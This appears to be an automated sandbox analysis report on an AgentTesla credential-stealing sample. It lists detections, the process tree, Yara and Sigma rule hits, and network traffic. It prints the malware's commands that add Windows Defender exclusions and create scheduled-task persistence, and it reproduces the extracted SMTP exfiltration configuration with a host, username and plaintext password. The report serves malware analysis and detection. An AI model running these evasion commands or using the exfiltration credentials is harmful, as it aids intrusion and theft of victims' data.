Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Analysis ID:	1429018
MD5:	906cb4d1d82674ca8e0c0614d34af552
SHA1:	1c38bd8f3122bc9aaf7c2a8968c252ff2b264721
SHA256:	6670de035561ab5f4cd82d89a4ab969b7d8eaf1da047782b37399d79eeb4762e
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe (PID: 3140 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe" MD5: 906CB4D1D82674CA8E0C0614D34AF552)

powershell.exe (PID: 6712 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7584 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7220 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe (PID: 7420 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe" MD5: 906CB4D1D82674CA8E0C0614D34AF552)

PUwpftrjIH.exe (PID: 7592 cmdline: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe MD5: 906CB4D1D82674CA8E0C0614D34AF552)

schtasks.exe (PID: 7728 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PUwpftrjIH.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe" MD5: 906CB4D1D82674CA8E0C0614D34AF552)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.hoangtruongphat.com", "Username": "cus.overseas@hoangtruongphat.com", "Password": "hoangtruongphat818"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 7420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 7420	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PUwpftrjIH.exe PID: 7592	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PUwpftrjIH.exe PID: 7780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PUwpftrjIH.exe PID: 7780	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3426b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x342fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34367:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3446f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x344ff:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3236f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x323e1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3246b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x324fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32567:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x325d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3266f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x326ff:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3236f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x323e1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3246b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x324fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32567:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x325d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3266f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x326ff:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3416f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xae0b7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x341e1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xae129:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3426b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xae1b3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x342fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xae245:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34367:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xae2af:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xae321:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3446f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xae3b7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x344ff:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0xae447:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3416f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f98f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xe98d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x341e1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6fa01:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xe9949:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3426b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6fa8b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xe99d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x342fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6fb1d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xe9a65:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34367:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fb87:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xe9acf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fbf9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xe9b41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3446f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fc8f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xe9bd7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ParentProcessId: 3140, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ProcessId: 6712, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe, ParentImage: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe, ParentProcessId: 7592, ParentProcessName: PUwpftrjIH.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp", ProcessId: 7728, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 125.212.217.248, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, Initiated: true, ProcessId: 7420, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ParentProcessId: 3140, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", ProcessId: 7220, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ParentProcessId: 3140, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ProcessId: 6712, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ParentProcessId: 3140, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp", ProcessId: 7220, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Avira: detection malicious, Label: HEUR/AGEN.1323731

Found malware configuration

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.hoangtruongphat.com", "Username": "cus.overseas@hoangtruongphat.com", "Password": "hoangtruongphat818"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Virustotal: Detection: 38%			Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	ReversingLabs: Detection: 42%
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Virustotal: Detection: 38%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 125.212.217.248:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 125.212.217.248 125.212.217.248
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: VIETEL-AS-APViettelGroupVN VIETEL-AS-APViettelGroupVN

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 125.212.217.248:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.0000000001256000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.0000000001256000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
